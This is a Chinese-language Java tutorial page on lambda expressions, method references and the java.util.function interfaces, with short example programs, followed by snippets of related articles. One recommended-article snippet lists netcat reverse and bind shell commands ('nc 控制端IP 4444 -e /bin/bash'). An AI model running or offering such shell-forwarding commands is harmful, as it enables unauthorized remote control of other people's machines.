函数式编程

从JDK1.8开始为了简化使用者进行代码的开发,专门提供有lambda表达式的支持,利用此操作形式可以实现函数式的编程,对于函数编程比较著名的语言是:haskell、Scala,利用函数式的编程可以避免掉面向对象编程过程中的一些繁琐的问题。

面向对象在其长期发展的过程中一直有一部分的反对者,这些反对者认为面向对象的设计过于复杂繁琐,以一个最简单的程序为例:

范例:观察传统开发中的问题

 interface IMessage{
public void send(String str);
}
public class Main { public static void main(String[] args) {
IMessage msg=new IMessage() {
@Override
public void send(String str) {
System.out.println("消息发送:"+str);
}
};
msg.send("hello");
}
}

1,Lamda表达式在这个程序中,实际上核心的功能只有一行语句【System.out.println("消息发送:"+str);】,但是为了这样一行核心语句我们需要按照完整的面向对象给出的设计结构进行开发。于是这些问题随着技术的不断发展也是越来越突出。

范例:使用Lambda表达式实现上面相同的功能

 interface IMessage{
public void send(String str);
}
public class Main { public static void main(String[] args) {
IMessage msg=(str)->{
System.out.println("消息发送:"+str);};
msg.send("hello");
}
}

Lambda表达式如果想要使用,那么必须有一个重要的实现要求:SAM(Single Abstract Method),只有一个抽象方法,在这个接口里面只是提供一个send()方法,除此之外没有任何其他方法定义,所以这样的接口就被定义为函数式接口,而只有函数式接口才能被Lambda表达式所使用。现在整个程序代码里面会发现真的只是编写了一行语句,于是利用这种形式就避免了复杂的面向对象结构化的要求。

范例:函数式接口里面的方法只能有一个

 @FunctionalInterface//函数式接口
interface IMessage{//JDK1.8之后接口里面可以定义普通方法和Static方法
public void send(String str);
public default void print() {//这是一个
System.out.println("公共方法");
}
}
public class Main { public static void main(String[] args) {
IMessage msg=(str)->{
System.out.println("消息发送:"+str);};
msg.send("hello");
msg.print();
}
}

①方法没有参数:()->{}对于Lambda表达式而言,需要提供有如下几种格式:

②方法有参数:(参数,参数)->{}

③如果现在只有一行语句返回:(参数,参数)->语句;

范例:定义没有参数的方法

 @FunctionalInterface//函数式接口
interface IMessage{//JDK1.8之后接口里面可以定义普通方法和Static方法
public void send();
}
public class Main {
public static void main(String[] args) {
IMessage msg=()->{
System.out.println("消息发送:这是个无参lambda形式");};
msg.send();
}
}

范例:定义有参数的

 @FunctionalInterface//函数式接口
interface IMath{//JDK1.8之后接口里面可以定义普通方法和Static方法
public int add(int x,int y);
}
public class Main {
public static void main(String[] args) {
IMath math=(t1,t2)->{
return t1+t2;
};
System.out.println(math.add(10,20));
}
}

范例:简化Lambda操作以上表达式只有一行语句,这个时候也可以进一步简化。

 @FunctionalInterface//函数式接口
interface IMath{//JDK1.8之后接口里面可以定义普通方法和Static方法
public int add(int x,int y);
}
public class Main {
public static void main(String[] args) {
IMath math=(t1,t2)->t1+t2;{
};
System.out.println(math.add(10,20));
}
}

利用lambda可以摆脱传统面向对象的关于结构的限制,使得代码更加的简便。只用于替换SAM的函数式接口

2,方法引用

引用数据类型最大的特点是可以进行内存的指向处理,但是在我们传统的开发之中一直所使用的只是对象的引用操作,从JDK1.8之后也有方法的引用,即不同的方法名称可以描述同一个方法。如果进行方法的引用在java里面提供有如下的四种形式。

①引用静态方法: 类名称::static 方法名称;

②引用某个实例对象的方法: 实例化对象::普通方法;

③引用特定类型的方法: 特定类::普通方法;

④引用构造方法: 类名称::new。

在String类里面提供有String.valueOf()方法,这个方法属于静态方法。

方法定义:public static String valueOf(int i),该方法有参数,并且有返回值;

·范例:

 @FunctionalInterface//函数式接口
interface IFunction<P,R>{//P描述参数,R描述返回值
public R change(P p);
}
public class Main {
public static void main(String[] args) {
IFunction<Integer,String>fun=String::valueOf;
String str=fun.change(100);
System.out.println(str.length());
}
}

·范例:引用实例化对象中的方法利用方法引用这一概念可以为一个方法定义多个名字,但是要求必须是函数式接口。

在String类里面有一个转大写的方法:public String toUpperCase();

·这个方法是必须有实例化对象提供的情况下才可以调用;

 @FunctionalInterface//函数式接口
interface IFunction<R>{//P描述参数,R描述返回值
public R upper();
}
public class Main {
public static void main(String[] args) {
IFunction<String>fun="hello"::toUpperCase;
String str=fun.upper();
System.out.println(str);
}
}

这是一个普通方法,如果要引用普通方法,则往往都需要实例化对象,但是如果说现在你不想给出实例化对象,只是想引用这个方法。则就可以使用特定类进行引用处理。在进行方法引用的时候也可以进行特定类的一些操作方法,在String类中提供一个字符串大写关系的比较: public int compareTo(String anotherString);

·范例:引用特定类中的方法

 @FunctionalInterface//函数式接口
interface IFunction<P>{//P描述参数,R描述返回值
public int compare(P p1,P p2);
}
public class Main {
public static void main(String[] args) {
IFunction<String>fun=String::compareTo;
System.out.println(fun.compare("A","a"));
}
}

范例:引用构造方法在方法里面最具杀伤力的是构造方法的引用。

 class Person{
private String name;
private int age;
public Person(String name,int age){
this.name=name;
this.age=age;
}
@Override
public String toString() {
return "姓名:"+this.name+",年龄:"+this.age;
}
}
@FunctionalInterface//函数式接口
interface IFunction<R>{//P描述参数,R描述返回值
public R create(String s,int a);
}
public class Main {
public static void main(String[] args) {
IFunction<Person>fun=Person::new;
System.out.println(fun.create("Wanyu",25));
}
}

提供方法引用的概念更多的情况下也只是弥补了对于引用的支持功能。

3,内建函数式接口

在JDK1.8之中提供Lambda表达式也提供方法引用,但是你会发现现在由开发者自己定义函数式接口往往需要使用【@FunctionInterface】注解来进行大量的声明,于是很多的情况下如果为了方便则可以引用系统中提供的函数式接口。

在系统值周专门提供有有一个java.util.function的开发包,里面可以直接使用函数式接口,在这个包下面可以直接使用如下的几个核心接口:

①功能性函数式接口:

·在String类中有一个方法判断是否以指定的字符串开头:public boolean startsWith(String str)

接口定义

接口使用

@FunctionalInterface

public interface Function<T,R>{

public R apply(T t);

}

import java.util.function.*;
public class Main {
    public static void main(String[] args) {
        Function<String,Boolean> fun="**Hello"::startsWith;
        System.out.println(fun.apply("**"));
    }
}

②消费型函数式接口:只能进行数据处理操作

·在进行系统数据输出的时候使用的是:System.out.println()

接口定义

接口使用

@FunctionalInterface

public interface Consumer<T>{

public void accept(T t);

}

import java.util.function.*;
public class Main {
    public static void main(String[] args) {
        Consumer<String> con=System.out::println;
        con.accept("hello world");
    }
}

③供给型函数式接口:

·在String类中提供有转小写方法,这个方法没有接收参数,但是有返回值;

|-方法:public String toLowerCase();

接口定义

接口使用

@FunctionalInterface

public interface Supplier<T>{

public T get();

}

import java.util.function.*;
public class Main {
    public static void main(String[] args) {
        Supplier<String> sup="HELLO world"::toLowerCase;
        System.out.println(sup.get());
    }
}

④断言型函数式接口:进行判断处理

·在String类有一个compareToIgnoreCase()

接口定义

接口使用

@FunctionalInterface

public interface Predicate<T>{

public boolean test(T t);

}

import java.util.function.*;
public class Main {
    public static void main(String[] args) {
        Predicate<String> pre="hello"::equalsIgnoreCase;
        System.out.println(pre.test("HELLO"));
    }
}

以后对于实际开发之中,如果JDK本身提供的函数式接口可以被我们所使用,那么就没有必要重新定义了。

Java函数式编程的更多相关文章

  1. paip.提升效率---filter map reduce 的java 函数式编程实现

    #paip.提升效率---filter map reduce 的java 函数式编程实现 ======================================================= ...

  2. 《深入理解Java函数式编程》系列文章

    Introduction 本系列文将帮助你理解Java函数式编程的用法.原理. 本文受启发于JavaOne 2016关于Lambda表达式的相关主题演讲Lambdas and Functional P ...

  3. Java函数式编程原理以及应用

    一. 函数式编程 Java8所有的新特性基本基于函数式编程的思想,函数式编程的带来,给Java注入了新鲜的活力. 下面来近距离观察一下函数式编程的几个特点: 函数可以作为变量.参数.返回值和数据类型. ...

  4. Java函数式编程:一、函数式接口,lambda表达式和方法引用

    Java函数式编程 什么是函数式编程 通过整合现有代码来产生新的功能,而不是从零开始编写所有内容,由此我们会得到更加可靠的代码,并获得更高的效率 我们可以这样理解:面向对象编程抽象数据,函数式编程抽象 ...

  5. Java函数式编程:二、高阶函数,闭包,函数组合以及柯里化

    承接上文:Java函数式编程:一.函数式接口,lambda表达式和方法引用 这次来聊聊函数式编程中其他的几个比较重要的概念和技术,从而使得我们能更深刻的掌握Java中的函数式编程. 本篇博客主要聊聊以 ...

  6. Java函数式编程:三、流与函数式编程

    本文是Java函数式编程的最后一篇,承接上文: Java函数式编程:一.函数式接口,lambda表达式和方法引用 Java函数式编程:二.高阶函数,闭包,函数组合以及柯里化 前面都是概念和铺垫,主要讲 ...

  7. Java函数式编程和lambda表达式

    为什么要使用函数式编程 函数式编程更多时候是一种编程的思维方式,是种方法论.函数式与命令式编程的区别主要在于:函数式编程是告诉代码你要做什么,而命令式编程则是告诉代码要怎么做.说白了,函数式编程是基于 ...

  8. 精练代码:一次Java函数式编程的重构之旅

    摘要:通过一次并发处理数据集的Java代码重构之旅,展示函数式编程如何使得代码更加精练. 难度:中级 基础知识 在开始之前,了解"高阶函数"和"泛型"这两个概念 ...

  9. [译]通往 Java 函数式编程的捷径

    原文地址:An easier path to functional programming in Java 原文作者:Venkat Subramaniam 译文出自:掘金翻译计划 以声明式的思想在你的 ...

  10. Java 函数式编程(Lambda表达式)与Stream API

    1 函数式编程 函数式编程(Functional Programming)是编程范式的一种.最常见的编程范式是命令式编程(Impera Programming),比如面向过程.面向对象编程都属于命令式 ...

随机推荐

  1. 【POJ1416】Shredding Company

    本题传送门 本题知识点:深度优先搜索 + 回溯 本题题意很简单,就是有一条位数不超过6的数字纸条,问你怎么剪这纸条,使得得到的纸条的值的总和最接近目标值(总和不能超过目标值). 比如第一个样例 50 ...

  2. vlc for mac设置中文的方法

    VLC for mac是一款mac系统下的多媒体播放器,支持播放MPEG-1.MPEG-2.MPEG-4.DivX.MP3和OGG,以及DVD.VCD.等各种流媒体协议在内的多种协议格式,并且能够对电 ...

  3. JS 将数字字符串数组转为 数字数组 (互换)

    var arr = [1, 2, 3, 4, 5, 6, 7, 8, 9]; arr.map(String); //结果: ['1', '2', '3', '4', '5', '6', '7', '8 ...

  4. XMLHttpRequest用法介绍

    前言: 传统的Web应用请求服务器返回的一般是是完整的HTML页面,这样往往就需要页面进行刷新操作,不仅耗时而且用户体验度也不好.最典型的代表就是form表单登录操作了.如果登录失败往往是跳转到原网页 ...

  5. Guava Cache 缓存实现与源码分析

    目录 一.概述 1.内存缓存 2.核心数据结构 二.具体实现 0.一览众山小 1.CacheBuilder 构建器 2.LocalCache 一.概述 1.内存缓存 可看作一个jdk7的concurr ...

  6. nc 命令转发bash

    反向 1.控制端:nc -lvp 4444 2.被控制端:nc 控制端IP 4444 -e /bin/bash 正向 1.被控制端:nc -lvp 4444 -e /bin/bash 2.控制端:nc ...

  7. 使用Rome读取RSS报错,org.xml.sax.SAXParseException: 前言中不允许有内容。

    这是我遇到过的最奇葩的错误 new URL的时候,使用静态变量就会报错org.xml.sax.SAXParseException: 前言中不允许有内容. URL url = new URL(Strin ...

  8. IDEA 如何导出 todo 列表

    众所周知,IDEA 可以直接查看所有的 todo 列表, 快捷键是 Alt + 6 然后右键文件夹,选择[Expand All],展开所有目录 再然后,先选中最上边的文件,单击, 再选中最后一个文件, ...

  9. 阿里云OSS设置跨域访问 H5的时候

    OSS 提供 HTML5 协议中的跨域资源共享 CORS 设置,帮助您实现跨域访问.当 OSS 收到一个跨域请求(或者 OPTIONS 请求)时,会读取存储空间对应的 CORS 规则,然后进行相应的权 ...

  10. [转]Vue中用props给data赋初始值遇到的问题解决

    原文地址:https://segmentfault.com/a/1190000017149162 2018-11-28更:文章发布后因为存在理解错误,经@Kim09AI同学提醒后做了调整,在此深表感谢 ...